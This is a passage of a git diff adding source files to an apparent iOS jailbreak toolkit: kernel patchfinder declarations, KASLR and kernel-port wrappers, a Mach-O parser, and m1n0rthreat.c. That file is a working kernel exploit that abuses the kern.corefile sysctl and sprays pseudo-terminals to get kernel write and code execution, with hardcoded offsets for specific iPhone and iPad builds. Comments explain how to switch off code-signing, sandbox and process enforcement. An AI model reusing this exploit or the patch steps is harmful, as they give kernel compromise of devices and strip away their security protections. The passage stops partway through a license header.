write-anywhere gadget. +uint32_t find_str_r1_r2_bx_lr(uint32_t region, uint8_t* kdata, size_t ksize); + +// Helper gadget for changing page tables / patching. +uint32_t find_flush_dcache(uint32_t region, uint8_t* kdata, size_t ksize); + +// Helper gadget for changing page tables. +uint32_t find_invalidate_tlb(uint32_t region, uint8_t* kdata, size_t ksize); + +// This points to kernel_pmap. Use that to change the page tables if necessary. +uint32_t find_pmap_location(uint32_t region, uint8_t* kdata, size_t ksize); + +// Write 0 here. +uint32_t find_proc_enforce(uint32_t region, uint8_t* kdata, size_t ksize); + +// Write 1 here. +uint32_t find_cs_enforcement_disable_amfi(uint32_t region, uint8_t* kdata, size_t ksize); + +// Write 1 here. +uint32_t find_cs_enforcement_disable_kernel(uint32_t region, uint8_t* kdata, size_t ksize); + +// Change this to non-zero. +uint32_t find_i_can_has_debugger_1(uint32_t region, uint8_t* kdata, size_t ksize); + +// Change this to what you want the value to be (non-zero appears to work). +uint32_t find_i_can_has_debugger_2(uint32_t region, uint8_t* kdata, size_t ksize); + +// NOP out the conditional branch here. +uint32_t find_vm_map_enter_patch(uint32_t region, uint8_t* kdata, size_t ksize); + +// Change the conditional branch here to an unconditional branch. +uint32_t find_vm_map_protect_patch(uint32_t region, uint8_t* kdata, size_t ksize); + +// Change the conditional branch here to an unconditional branch. +uint32_t find_tfp0_patch(uint32_t region, uint8_t* kdata, size_t ksize); + +// Write this with a jump to the sandbox hook, then write a trampoline back to just after the jump you wrote here. Sandbox hook should look at the path in *(r3 + 0x14) and force +// it to be allowed if it is outside of /private/var/mobile, or inside of /private/var/mobile/Library/Preferences but not /private/var/mobile/Library/Preferences/com.apple* +// To force it to allow, *r0 = 0 and *(r0 + 0x4) = 0x18. If not, just call the original function via the trampoline. +uint32_t find_sb_patch(uint32_t region, uint8_t* kdata, size_t ksize); + +// Utility function, necessary for the sandbox hook. +uint32_t find_vn_getpath(uint32_t region, uint8_t* kdata, size_t ksize); + +// Utility function, necessary for the sandbox hook. +uint32_t find_memcmp(uint32_t region, uint8_t* kdata, size_t ksize); + +// Dereference this, add 0x38 to the resulting pointer, and write whatever boot-args are suitable to affect kern.bootargs. +uint32_t find_p_bootargs(uint32_t region, uint8_t* kdata, size_t ksize); + +// This gets the zone_page_table array in osfmk/kern/zalloc.c. Useful for diagnosing problems with the zone allocator. +uint32_t find_zone_page_table(uint32_t region, uint8_t* kdata, size_t ksize); + +// Function to free leaked ipc_kmsg objects +uint32_t find_ipc_kmsg_destroy(uint32_t region, uint8_t* kdata, size_t ksize); + +// Function to find the syscall 0 function pointer. Used to modify the syscall table to call our own code. +uint32_t find_syscall0(uint32_t region, uint8_t* kdata, size_t ksize); + +// Function used to free any dead ports we find to clean up after memory leak. +uint32_t find_io_free(uint32_t region, uint8_t* kdata, size_t ksize); + +// Function used to find IOLog for printing debug messages +uint32_t find_IOLog(uint32_t region, uint8_t* kdata, size_t ksize); + +#endif /* defined(__chop__find_xref__) */ diff --git a/patch/patch/kaslr.c b/patch/patch/kaslr.c new file mode 100644 index 0000000..fbe34f6 --- /dev/null +++ b/patch/patch/kaslr.c @@ -0,0 +1,41 @@ +// +// kaslr.c +// chop +// +// Created by Joshua Hill on 1/18/14. +// +// + +#include +#include + +#include "vmmap.h" +#include "devtree.h" + +#include "kaslr.h" + +kaslr_t* kaslr_init() { + kaslr_t* kaslr = (kaslr_t*) malloc(sizeof(kaslr_t)); + if(kaslr) { + memset(kaslr, '\0', sizeof(kaslr_t)); + //if(tfp0) { + + // Defaulting to tfp0 method for now + kaslr->base = vmmap_get_base; + kaslr->slide = vmmap_get_slide; + + // TODO: Chicken and egg problem here since we need to read bootargs from kernel + //} else { + // kaslr->base = devtree_get_base; + // kaslr->slide = devtree_get_slide; + //} + } + return kaslr; +} + +void kaslr_free(kaslr_t* kaslr) { + if(kaslr) { + free(kaslr); + kaslr = NULL; + } +} \ No newline at end of file diff --git a/patch/patch/kaslr.h b/patch/patch/kaslr.h new file mode 100644 index 0000000..db8134e --- /dev/null +++ b/patch/patch/kaslr.h @@ -0,0 +1,27 @@ +// +// kaslr.h +// chop +// +// Created by Joshua Hill on 1/18/14. +// +// + +#ifndef chop_kaslr_h +#define chop_kaslr_h + +#include + +#include "kernel.h" + +typedef vm_address_t(*kaslr_get_base)(void); +typedef vm_offset_t(*kaslr_get_slide)(void); + +typedef struct { + kaslr_get_base base; + kaslr_get_slide slide; +} kaslr_t; + +kaslr_t* kaslr_init(kernel_t* kernel); +void kaslr_free(kaslr_t* kaslr); + +#endif diff --git a/patch/patch/kernel.c b/patch/patch/kernel.c new file mode 100644 index 0000000..77a8ba6 --- /dev/null +++ b/patch/patch/kernel.c @@ -0,0 +1,95 @@ +// +// kernel.c +// chop +// +// Created by Joshua Hill on 1/18/14. +// +// + +#include +#include +#include +#include + +#include "avio.h" +#include "tfp0.h" +#include "kaslr.h" +#include "vmmap.h" +#include "dangu.h" +#include "devtree.h" +#include "m1n0rthreat.h" + +#include "kernel.h" + +kernel_t* kernel_open() { + kernel_t* kernel = (kernel_t*)malloc(sizeof(kernel_t)); + if(kernel) { + memset(kernel, '\0', sizeof(kernel_t)); + //kaslr_init(); + kernel->task = tfp0_get_port(); + if(kernel->task != 0) { + // tfp0 is patched + + // TODO: Implement these later + kernel->get = tfp0_kernel_get; + kernel->set = tfp0_kernel_set; + //kernel->exec = tfp0_kernel_exec; + kernel->exploit = dangu_exploit; + + kernel->read = tfp0_kernel_read; + kernel->write = tfp0_kernel_write; + + // This should really be decided by the base kaslr class + kernel->base = devtree_get_base(kernel); + kernel->slide = devtree_get_slide(kernel); + vmmap_get_base(kernel); + syslog(LOG_ERR, "Found kernel base at 0x%08lx", kernel->base); + + } else { + // TODO: Need to detect version to choose proper exploit + // Default to 7.0.4 kernel exploit for now + + // TODO: Implement these later + //kernel->get = m1n0rthreat_kernel_get; + //kernel->set = m1n0rthreat_kernel_set; + //kernel->exec = m1n0rthreat_kernel_exec; + + //kernel->read = m1n0rthreat_kernel_read; + //kernel->write = m1n0rthreat_kernel_write; + + // AVIO + //kernel->get = avio_kernel_get; + //kernel->set = avio_kernel_set; + //kernel->exec = avio_kernel_exec; + + //kernel->read = avio_kernel_read; + //kernel->write = avio_kernel_write; + + // This should really be decided by the base kaslr class + //kernel->base = devtree_get_base(kernel); + //kernel->slide = devtree_get_slide(kernel); + // TODO: After patching tfp0 we might want to reopen + } + } + return kernel; +} + +kernel_t* x_kernel_open() { + kernel_t* kernel = (kernel_t*)malloc(sizeof(kernel_t)); + if(kernel) { + memset(kernel, '\0', sizeof(kernel_t)); + + } + return kernel; +} + +void kernel_close(kernel_t* kernel) { + if(kernel) { + if(kernel->task) { + mach_port_deallocate(mach_task_self(), kernel->task); + kernel->task = 0; + } + free(kernel); + kernel = NULL; + } +} \ No newline at end of file diff --git a/patch/patch/kernel.h b/patch/patch/kernel.h new file mode 100644 index 0000000..f97ae05 --- /dev/null +++ b/patch/patch/kernel.h @@ -0,0 +1,39 @@ +// +// kernel.h +// chop +// +// Created by Joshua Hill on 1/18/14. +// +// + +#ifndef chop_kernel_h +#define chop_kernel_h + +#include + +#include + +typedef int(*kernel_exploit_t)(void* kernel); +typedef vm_address_t(*kernel_get_t)(vm_address_t address); +typedef void(*kernel_set_t)(vm_address_t address, void* value); +typedef vm_size_t(*kernel_read_t)(vm_address_t address, void* data, vm_size_t size); +typedef vm_size_t(*kernel_write_t)(vm_address_t address, void* data, vm_size_t size); + +typedef struct { + mach_port_t task; + vm_offset_t slide; + vm_address_t base; + vm_address_t pmap; + + kernel_get_t get; + kernel_set_t set; + + kernel_read_t read; + kernel_write_t write; + kernel_exploit_t exploit; +} kernel_t; + +kernel_t* kernel_open(); +void kernel_close(kernel_t* kernel); + +#endif diff --git a/patch/patch/m1n0rthreat.c b/patch/patch/m1n0rthreat.c new file mode 100644 index 0000000..0c9de6e --- /dev/null +++ b/patch/patch/m1n0rthreat.c @@ -0,0 +1,214 @@ +// +// main.c +// haxx +// +// Created by Joshua Hill on 12/17/13. +// Copyright (c) 2013 __MyCompanyName__. All rights reserved. +// + +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include + +#include "m1n0rthreat.h" + +unsigned long KASLR_BASE = 0; +unsigned int m1n0rthreat_has_init = 0; + +// 0x81620579 - 0x81601000 = 0x1F579 (iPhone4s 7.0.4) +/* defines from the iPhone 4 7.0.4 kernel */ +//#define COREFILE_SYSCTL_DATA 0x334AE4 // this contains a pointer to the address to write (set by sysctl call) +//#define PTSD_START 0x27A11D // actually linew function pointer in tty (addesss to exec) +//#define KERN_UUID 0x346170 // This is the actuall address to write to sprayed into the fake ttys + +// iPhone4s 6.1.3 +//#define PTSD_START (0x1F41BD-0x1000) +//#define KERN_UUID (0x31F920-0x1000) +//#define COREFILE_SYSCTL_DATA (0x2E6A08-0x1000) + +vm_address_t m1n0rthreat_kernel_get(vm_address_t address); +void m1n0rthreat_kernel_set(vm_address_t address, void* value); +vm_size_t m1n0rthreat_kernel_read(vm_address_t addr, void* buffer, vm_size_t size); +vm_size_t m1n0rthreat_kernel_write(vm_address_t addr, void* buffer, vm_size_t size); + +void add_write_clist(int *faketty, int addr) { + int dump_addr = addr; /* kern uuid */ + faketty[0] = 0; + faketty[1] = 0x400; + faketty[2] = dump_addr; + faketty[3] = dump_addr; + faketty[4] = dump_addr; + faketty[5] = dump_addr + 0x400; + faketty[6] = 0; + faketty[7] = 0; +} + +void printuuid() { + char crap[0x100]; + memset(crap, 0, 0x100); + size_t size = 0x100; + int ret = sysctlbyname("kern.uuid", crap, &size, NULL, NULL); + syslog(LOG_ERR, "++[HAXX]++ uuid(%d) %s\n", ret, crap); +} + +void printkerncore() { + char crap[0x100]; + memset(crap, 0, 0x100); + size_t size = 0x100; + int ret = sysctlbyname("kern.corefile", crap, &size, NULL, NULL); + syslog(LOG_ERR, "++[HAXX]++ corefile(%d) %s\n", ret, crap); +} + +int m1n0rthreat_exploit(vm_address_t base) { + int i, ret = 0;int crashfd = 0; + syslog(LOG_ERR, "++[HAXX]++ Exploiting haxx.dylib\n"); + + KASLR_BASE = base; + syslog(LOG_ERR, "++[HAXX]++ kaslr base @ 0x%lx\n", KASLR_BASE); + + /* not eating dicks yet */ + printuuid(); + + int faketty[0x40]; + memset(faketty, 0, sizeof(faketty)); + faketty[2] = 0x22; + /* this gets run when write is called, PC control */ + faketty[0xEC/4] = KASLR_BASE + PTSD_START; + + /* output clist */ + //add_write_clist(&faketty[3], KERN_UUID); + //add_write_clist(&faketty[0xb], KERN_UUID); + //add_write_clist(&faketty[0x13], KERN_UUID); + + //void printkerncore(); + ret = sysctlbyname("kern.corefile", NULL, NULL, faketty, sizeof(faketty)); + syslog(LOG_ERR, "++[HAXX]++ sysctl returned %d\n", ret); + //void printkerncore(); + + /* tty alloc should go to 0x140, and we hope the array is in the middle of ttys */ + /* if more than 8 are alloced this will fail */ + /* slots are 0x180 big, so tty starts at +0x180 */ + for (i = 0; i < 0x138/4; i++) { + int fd = open("/dev/ptmx", O_RDWR|O_NOCTTY); + grantpt(fd); + unlockpt(fd); + int pfd = open(ptsname(fd), O_RDWR); + + // now that it's open we can write + int writedata[2]; + writedata[0] = KASLR_BASE + COREFILE_SYSCTL_DATA; + writedata[1] = 0xFFFFFFFF; + + ret = write(fd, writedata, 8); // Writing the pointer to our pointer in each pty + + syslog(LOG_ERR, "++[HAXX]++ got %d %s %d\n", fd, ptsname(fd), ret); + } + + // ok, when the alloc is at 0x304 the new raw ptr is at 0x498, 0x194 apart + ret = mknod("/dev/crash", S_IFCHR | 0666, makedev(16, 0x194/4)); + syslog(LOG_ERR, "++[HAXX]++ mknod returned %d\n", ret); + + // i open at the close + crashfd = open("/dev/crash", O_RDWR|O_NOCTTY|O_NONBLOCK); + syslog(LOG_ERR, "++[HAXX]++ open returned %d %d\n", crashfd, errno); + + // write to kernel + //ret = write(crashfd, "p0sixninjas\0", strlen("p0sixninjas")+1); // finally write to our pointer + //syslog(LOG_ERR, "++[HAXX]++ write returned %d\n", ret); + + // success + printuuid(); +} + +int m1n0rthreat_init(vm_address_t base) { + KASLR_BASE = base; + m1n0rthreat_has_init = 1; + return 0; +} + +vm_address_t m1n0rthreat_kernel_get(vm_address_t address) { + //exploit(); + return NULL; +} + +void m1n0rthreat_kernel_set(vm_address_t address, void* value) { + //exploit(); +} + +vm_size_t m1n0rthreat_kernel_read(vm_address_t addr, void* buffer, vm_size_t size) { + //exploit(); + return 0; +} + +vm_size_t m1n0rthreat_kernel_write(vm_address_t addr, void* buffer, vm_size_t size) { + int i, ret = 0;int crashfd = 0; + syslog(LOG_ERR, "++[HAXX]++ Exploiting haxx.dylib\n"); + + //KASLR_BASE = base; + syslog(LOG_ERR, "++[HAXX]++ kaslr base @ 0x%lx\n", KASLR_BASE); + + /* not eating dicks yet */ + //printuuid(); + + int faketty[0x40]; + memset(faketty, 0, sizeof(faketty)); + faketty[2] = 0x22; + /* this gets run when write is called, PC control */ + faketty[0xEC/4] = KASLR_BASE + PTSD_START; + + /* output clist */ + add_write_clist(&faketty[3], addr); + add_write_clist(&faketty[0xb], addr); + add_write_clist(&faketty[0x13], addr); + + //void printkerncore(); + ret = sysctlbyname("kern.corefile", NULL, NULL, faketty, sizeof(faketty)); + syslog(LOG_ERR, "++[HAXX]++ sysctl returned %d\n", ret); + //void printkerncore(); + + /* tty alloc should go to 0x140, and we hope the array is in the middle of ttys */ + /* if more than 8 are alloced this will fail */ + /* slots are 0x180 big, so tty starts at +0x180 */ + for (i = 0; i < 0x138/4; i++) { + int fd = open("/dev/ptmx", O_RDWR|O_NOCTTY); + grantpt(fd); + unlockpt(fd); + int pfd = open(ptsname(fd), O_RDWR); + + // now that it's open we can write + int writedata[2]; + writedata[0] = (KASLR_BASE + COREFILE_SYSCTL_DATA); + writedata[1] = 0xFFFFFFFF; + ret = write(fd, writedata, 8); // Writing the pointer to our pointer in each pty + + syslog(LOG_ERR, "++[HAXX]++ got %d %s %d\n", fd, ptsname(fd), ret); + } + + // ok, when the alloc is at 0x304 the new raw ptr is at 0x498, 0x194 apart + ret = mknod("/dev/crash", S_IFCHR | 0666, makedev(16, 0x194/4)); + syslog(LOG_ERR, "++[HAXX]++ mknod returned %d\n", ret); + + // i open at the close + crashfd = open("/dev/crash", O_RDWR|O_NOCTTY|O_NONBLOCK); + syslog(LOG_ERR, "++[HAXX]++ open returned %d %d\n", crashfd, errno); + + // write to kernel + ret = write(crashfd, buffer, size); // finally write to our pointer + syslog(LOG_ERR, "++[HAXX]++ write returned %d\n", ret); + + // success + //printuuid(); + return ret; +} + diff --git a/patch/patch/m1n0rthreat.h b/patch/patch/m1n0rthreat.h new file mode 100644 index 0000000..436bd00 --- /dev/null +++ b/patch/patch/m1n0rthreat.h @@ -0,0 +1,39 @@ +// +// m1n0rthreat.h +// chop +// +// Created by Joshua Hill on 1/19/14. +// +// + +#ifndef chop_m1n0rthreat_h +#define chop_m1n0rthreat_h + +//iPhone4s 6.1.3 +//#define PTSD_START (0x1F41BD-0x1000) +//#define KERN_UUID (0x31F920-0x1000) +//#define COREFILE_SYSCTL_DATA (0x2E6A08-0x1000) + +// iPhone5 7.0.6 +//#define PTSD_START (0x27CA81 - 0x1000) +//#define COREFILE_SYSCTL_DATA (0x337B04 - 0x1000) + +// iPhone5 7.0.4 +#define PTSD_START 0x27CA81 +#define COREFILE_SYSCTL_DATA 0x337B04 +#define KERN_UUID 0x349170 + +// iPad Mini 7.0.6 +//#define KERN_UUID 0x3451B0 +//#define PTSD_START 0x278DB9 +//#define COREFILE_SYSCTL_DATA 0x333B04 + +void printuuid(); +int m1n0rthreat_init(vm_address_t base); +int m1n0rthreat_exploit(vm_address_t base); +vm_address_t m1n0rthreat_kernel_get(vm_address_t address); +void m1n0rthreat_kernel_set(vm_address_t address, void* value); +vm_size_t m1n0rthreat_kernel_read(vm_address_t addr, void* buffer, vm_size_t size); +vm_size_t m1n0rthreat_kernel_write(vm_address_t addr, void* buffer, vm_size_t size); + +#endif diff --git a/patch/patch/macho.c b/patch/patch/macho.c new file mode 100644 index 0000000..263e898 --- /dev/null +++ b/patch/patch/macho.c @@ -0,0 +1,627 @@ +/** + * libmacho-1.0 - macho.c + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#include +#include +#include +#include + +//#define _DEBUG +#include "debug.h" + +#include "macho.h" +#include "symtab.h" +#include "section.h" + +macho_t* macho_create(void); +macho_header_t* macho_header_create(void); + +/* + * Mach-O Functions + */ +macho_t* macho_create() { + macho_t* macho = (macho_t*) malloc(sizeof(macho_t)); + if (macho) { + memset(macho, '\0', sizeof(macho_t)); + } + return macho; +} + +macho_t* macho_load(unsigned char* data, uint32_t size) { + macho_t* macho = NULL; + + macho = macho_create(); + if (macho) { + macho->offset = 0; + macho->data = data; + macho->size = size; + macho->symtab_count = 0; + macho->segment_count = 0; + + debug("Loading Mach-O header\n"); + macho->header = macho_header_load(macho); + if (macho->header == NULL) { + error("Unable to load Mach-O header information\n"); + macho_free(macho); + return NULL; + } + macho->offset += sizeof(macho_header_t); + + debug("Loading Mach-O commands\n"); + macho->command_count = macho->header->ncmds; + macho->commands = macho_commands_load(macho); + if (macho->commands == NULL) { + error("Unable to parse Mach-O load commands\n"); + macho_free(macho); + return NULL; + } + + debug("Loading Mach-O segments\n"); + macho->segments = macho_segments_load(macho); + if (macho->segments == NULL) { + error("Unable to parse Mach-O segment commands\n"); + macho_free(macho); + return NULL; + } + + /* + debug("Loading Mach-O symtabs\n"); + macho->symtabs = macho_symtabs_load(macho); + if (macho->symtabs == NULL) { + error("Unable to parse Mach-O symtab commands\n"); + macho_free(macho); + return NULL; + } + */ + } + + return macho; +} + +macho_t* macho_open(const char* path) { + int err = 0; + uint32_t size = 0; + macho_t* macho = NULL; + unsigned char* data = NULL; + + /* + if (path) { + debug("Reading Mach-O file from path\n"); + err = file_read(path, &data, &size); + if (err < 0 || size == 0) { + error("Unable to read Mach-O file\n"); + macho_free(macho); + return NULL; + } + + debug("Creating Mach-O object from file\n"); + macho = macho_load(data, size); + if (macho == NULL) { + error("Unable to load Mach-O file\n"); + return NULL; + } + } + */ + + return macho; +} + +uint32_t macho_lookup(macho_t* macho, const char* sym) { + int i = 0; + int j = 0; + nlist* nl = NULL; + macho_symtab_t* symtab = NULL; + for (i = 0; i < macho->symtab_count; i++) { + symtab = macho->symtabs[i]; + for (j = 0; j < symtab->nsyms; j++) { + nl = &symtab->symbols[j]; + if (nl->n_un.n_name != NULL) { + if (strcmp(sym, nl->n_un.n_name) == 0) { + return nl->n_value; + } + } + } + } + return 0; +} + +macho_segment_t* macho_get_segment(macho_t* macho, const char* segment) { + int i = 0; + for (i = 0; i < macho->segment_count; i++) { + macho_segment_t* seg = macho->segments[i]; + if(seg) { + debug("Found segment %s\n", seg->name); + if (strcmp(seg->name, segment) == 0) { + return seg; + } + } else { + debug("Invalid segment!!\n"); + } + } + return NULL; +} + +macho_section_t* macho_get_section(macho_t* macho, const char* segment, + const char* section) { + int i = 0; + macho_section_t* sect = NULL; + macho_segment_t* seg = macho_get_segment(macho, segment); + if (seg) { + for (i = 0; i < seg->section_count; i++) { + sect = seg->sections[i]; + if(sect && sect->name) { + if (strcmp(sect->name, section) == 0) { + return sect; + } + } + } + } + return NULL; +} + +void macho_list_symbols(macho_t* macho, + void (*print_func)(const char*, uint32_t, void*), void* userdata) { + int i = 0; + int j = 0; + nlist* nl = NULL; + macho_symtab_t* symtab = NULL; + for (i = 0; i < macho->symtab_count; i++) { + symtab = macho->symtabs[i]; + for (j = 0; j < symtab->nsyms; j++) { + nl = &symtab->symbols[j]; + if ((nl->n_un.n_name != NULL) && (nl->n_value != 0)) { + print_func(nl->n_un.n_name, nl->n_value, userdata); + } + } + } +} + +void macho_debug(macho_t* macho) { + if (macho) { + debug("Mach-O:\n"); + if (macho) { + macho_header_debug(macho); + macho_commands_debug(macho); + macho_segments_debug(macho); + //macho_symtabs_debug(macho); + } + debug("\n"); + } +} + +void macho_free(macho_t* macho) { + if (macho) { + if (macho->header) { + macho_header_free(macho->header); + macho->header = NULL; + } + if (macho->commands) { + macho_commands_free(macho->commands); + macho->commands = NULL; + } + + if (macho->segments) { + macho_segments_free(macho->segments); + macho->segments = NULL; + } + if (macho->symtabs) { + macho_symtabs_free(macho->symtabs); + macho->symtabs = NULL; + } + + if (macho->data) { + macho->size = 0; + macho->offset = 0; + macho->data = NULL; + } + + free(macho); + } +} + +/* + * Mach-O Header Functions + */ +macho_header_t* macho_header_create() { + macho_header_t* header = (macho_header_t*) malloc(sizeof(macho_header_t)); + if (header) { + memset(header, '\0', sizeof(macho_header_t)); + } + return header; +} + +macho_header_t* macho_header_load(macho_t* macho) { + uint32_t size = 0; + uint32_t offset = 0; + unsigned char* data = NULL; + macho_header_t* header = NULL; + if (macho) { + offset = 0; + data = macho->data; + size = macho->size; + header = macho_header_create(); + if (header) { + memcpy(header, &data[offset], sizeof(macho_header_t)); + if (header->magic != MACHO_MAGIC_32) { + error("Unknown filetype\n"); + return NULL; + } + } + } + return header; +} + +void macho_header_debug(macho_t* macho) { + macho_header_t* header = NULL; + + header = macho->header; + if (header) { + debug("\tHeader:\n"); + debug("\t\t magic = 0x%08x\n", header->magic); + debug("\t\t cputype = 0x%08x\n", header->cputype); + debug("\t\tcpusubtype = 0x%08x\n", header->cpusubtype); + debug("\t\t filetype = 0x%08x\n", header->filetype); + debug("\t\t ncmds = 0x%08x\n", header->ncmds); + debug("\t\tsizeofcmds = 0x%08x\n", header->sizeofcmds); + debug("\t\t flags = 0x%08x\n", header->flags); + debug("\t\n"); + } +} + +void macho_header_free(macho_header_t* header) { + if (header) { + free(header); + } +} + +int macho_handle_command(macho_t* macho, macho_command_t* command) { + int ret = 0; + if (macho) { + // If load command is a segment command, then load a segment + // if a symbol table, then load a symbol table... etc... + switch (command->info->cmd) { + case MACHO_CMD_SEGMENT: // segment of this file to be mapped + { + debug("Found segment command\n"); + macho_segment_t* seg = macho_segment_load(macho->data, + command->offset); + if (seg) { + macho->segments[macho->segment_count] = seg; + debug("Segment has %d sections\n", seg->section_count); + + macho->segment_count++; + } else { + error("Could not load segment at offset 0x%x\n", + command->offset); + } + } + break; + case MACHO_CMD_SYMTAB: // link-edit stab symbol table info + { + debug("Found symtab command\n"); + macho_symtab_t* symtab = macho_symtab_load( + macho->data + command->offset, macho->data); + if (symtab) { + macho->symtabs[macho->symtab_count++] = symtab; + } else { + error("Could not load symtab at offset 0x%x\n", + command->offset); + } + } + break; + default: + ret = -1; + break; + } + } + return ret; +} + +/* + * Mach-O Commands Functions + */ +macho_command_t** macho_commands_create(uint32_t count) { + // TODO: Check for integer overflow here + uint32_t size = (count + 1) * sizeof(macho_command_t*); + macho_command_t** commands = (macho_command_t**) malloc(size); + if (commands) { + memset(commands, '\0', size); + } + return commands; +} + +macho_command_t** macho_commands_load(macho_t* macho) { + int i = 0; + uint32_t count = 0; + macho_command_t** commands = NULL; + if (macho) { + count = macho->command_count; + debug("Creating Mach-O commands array\n"); + commands = macho_commands_create(count); + if (commands == NULL) { + error("Unable to create Mach-O commands array\n"); + return NULL; + } + + debug("Loading Mach-O commands array\n"); + for (i = 0; i < count; i++) { + debug("Loading Mach-O command %d from offset 0x%x\n", i, macho->offset); + commands[i] = macho_command_load(macho->data, macho->offset); + if (commands[i] == NULL) { + error("Unable to parse Mach-O load command\n"); + macho_commands_free(commands); + return NULL; + } + macho->offset += commands[i]->size; + } + } + return commands; +} + +void macho_commands_debug(macho_t* macho) { + int i = 0; + macho_command_t* command = NULL; + macho_command_t** commands = NULL; + + commands = macho->commands; + if (commands) { + debug("\tCommands:\n"); + for(i = 0; i < macho->command_count; i++) { + command = commands[i]; + if(command) { + macho_command_debug(command); + } + }debug("\t\n"); + } +} + +void macho_commands_free(macho_command_t** commands) { + int i = 0; + if (commands) { + while (commands[i] != NULL) { + macho_command_free(commands[i]); + commands[i] = NULL; + i++; + } + free(commands); + } +} + +/* + * Mach-O Segments Functions + */ +macho_segment_t** macho_segments_create(uint32_t count) { + if (count == 0) + return NULL; + // TODO: Check for integer overflow here + int size = (count + 1) * sizeof(macho_segment_t*); + macho_segment_t** segments = (macho_segment_t**) malloc(size); + if (segments) { + memset(segments, '\0', size); + } + return segments; +} + +macho_segment_t** macho_segments_load(macho_t* macho) { + int i = 0; + int j = 0; + uint32_t count = 0; + uint32_t offset = 0; + macho_segment_t* segment = NULL; + macho_segment_t** segments = NULL; + if (macho) { + debug("Searching for segment commands\n"); + for (i = 0; i < macho->command_count; i++) { + if (macho->commands[i]->cmd == MACHO_CMD_SEGMENT) { + count++; + } + } debug("Found %d segment commands\n", count); + macho->segment_count = count; + + + debug("Creating Mach-O segments array\n"); + segments = macho_segments_create(count); + if (segments == NULL) { + error("Unable to create Mach-O segment array\n"); + return NULL; + } + + debug("Loading Mach-O segments\n"); + for (i = 0; i < macho->command_count; i++) { + if (macho->commands[i]->cmd == MACHO_CMD_SEGMENT) { + macho_command_t* command = macho->commands[i]; + segment = macho_segment_load(macho->data, command->offset); + if(segment == NULL) { + error("Unable to load Mach-O segment\n"); + return NULL; + } + debug("Loaded in segment %s\n", segment->name); + segments[j++] = segment; + + macho_section_t* section = NULL; + macho_section_t** sections = NULL; + segment->sections = macho_sections_load(macho, segment); + offset = command->offset + sizeof(macho_segment_cmd_t); + } + } + } + + return segments; +} + +void macho_segments_debug(macho_t* macho) { + int i = 0; + macho_segment_t* segment = NULL; + macho_segment_t** segments = NULL; + + if(macho) { + segments = macho->segments; + if(segments) { + debug("\tSegments:\n"); + for(i = 0; i < macho->segment_count; i++) { + segment = segments[i]; + if(segment) { + macho_segment_debug(segment); + } + }debug("\n"); + } + } +} + +void macho_segments_free(macho_segment_t** segments) { + if (segments) { + int i = 0; + while (segments[i]) { + macho_segment_free(segments[i]); + i++; + } + free(segments); + } +} + +/* + * Mach-O Symtab Functions + */ +macho_symtab_t** macho_symtabs_create(uint32_t count) { + if (count == 0) + return NULL; + int size = (count + 1) * sizeof(macho_symtab_t*); + macho_symtab_t** symtabs = (macho_symtab_t**) malloc(size); + if (symtabs) { + memset(symtabs, '\0', size); + } + return symtabs; +} + +macho_symtab_t** macho_symtabs_load(macho_t* macho) { + int i = 0; + uint32_t count = 0; + uint32_t offset = 0; + macho_symtab_t* symtab = NULL; + macho_symtab_t** symtabs = NULL; + if (macho) { + debug("Searching for symtab commands\n"); + for (i = 0; i < macho->command_count; i++) { + if (macho->commands[i]->cmd == MACHO_CMD_SYMTAB) { + count++; + } + } debug("Found %d symtab commands\n", count); + macho->symtab_count = count; + + debug("Creating Mach-O symtabs array\n"); + symtabs = macho_symtabs_create(count); + if (symtabs == NULL) { + error("Unable to create Mach-O symtab array\n"); + return NULL; + } + + debug("Loading Mach-O symtabs\n"); + for (i = 0; i < macho->command_count; i++) { + if (macho->commands[i]->cmd == MACHO_CMD_SYMTAB) { + offset = macho->commands[i]->offset; + symtab = macho_symtab_load(macho->data, offset); + if(symtab == NULL) { + error("Unable to load Mach-O symtab\n"); + return NULL; + } + symtabs[i] = symtab; + } + } + } + + return symtabs; +} + +void macho_symtabs_debug(macho_t* macho) { + int i = 0; + macho_symtab_t* symtab = NULL; + macho_symtab_t** symtabs = NULL; + + if(macho) { + if(macho->symtabs) { + symtabs = macho->symtabs; + debug("\tSymtabs:\n"); + for(i = 0; i < macho->symtab_count; i++) { + symtab = macho->symtabs[i]; + macho_symtab_debug(symtab); + symtab = NULL; + } + debug("\n"); + } + } +} + +void macho_symtabs_free(macho_symtab_t** symtabs) { + if (symtabs) { + int i = 0; + while (symtabs[i]) { + macho_symtab_free(symtabs[i]); + i++; + } + free(symtabs); + } +} + +/* + * Mach-O Sections Functions + */ +macho_section_t** macho_sections_create(uint32_t count) { + // TODO: Check for integer overflow here + unsigned int size = (count + 1) * sizeof(macho_section_t*); + macho_section_t** sections = (macho_section_t**) malloc(size); + if (sections) { + memset(sections, '\0', size); + } + return sections; +} + +macho_section_t** macho_sections_load(macho_t* macho, macho_segment_t* segment) { + int i = 0; + uint32_t offset = 0; + macho_section_t* section = NULL; + macho_section_t** sections = NULL; + + if (macho && segment) { + debug("Creating section array for segment\n"); + sections = macho_sections_create(segment->section_count); + if (sections == NULL) { + error("Unable to create section array for segment\n"); + return NULL; + } + + offset = segment->offset + sizeof(macho_segment_cmd_t); + for (i = 0; i < segment->section_count; i++) { + debug("Loading section %d\n", i); + sections[i] = macho_section_load(macho->data, offset); + offset += sizeof(macho_section_info_t); + } + } + return sections; +} + +void macho_sections_debug(macho_section_t** sections) { + debug("\tSections:\n");debug("\t\n"); +} + +void macho_sections_free(macho_section_t** sections) { + // TODO: Loop through and free each item + if (sections) { + free(sections); + } +} diff --git a/patch/patch/macho.h b/patch/patch/macho.h new file mode 100644 index 0000000..e769e85 --- /dev/null +++ b/patch/patch/macho.h @@ -0,0 +1,113 @@ +/** + * libmacho-1.0 - macho.h + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY 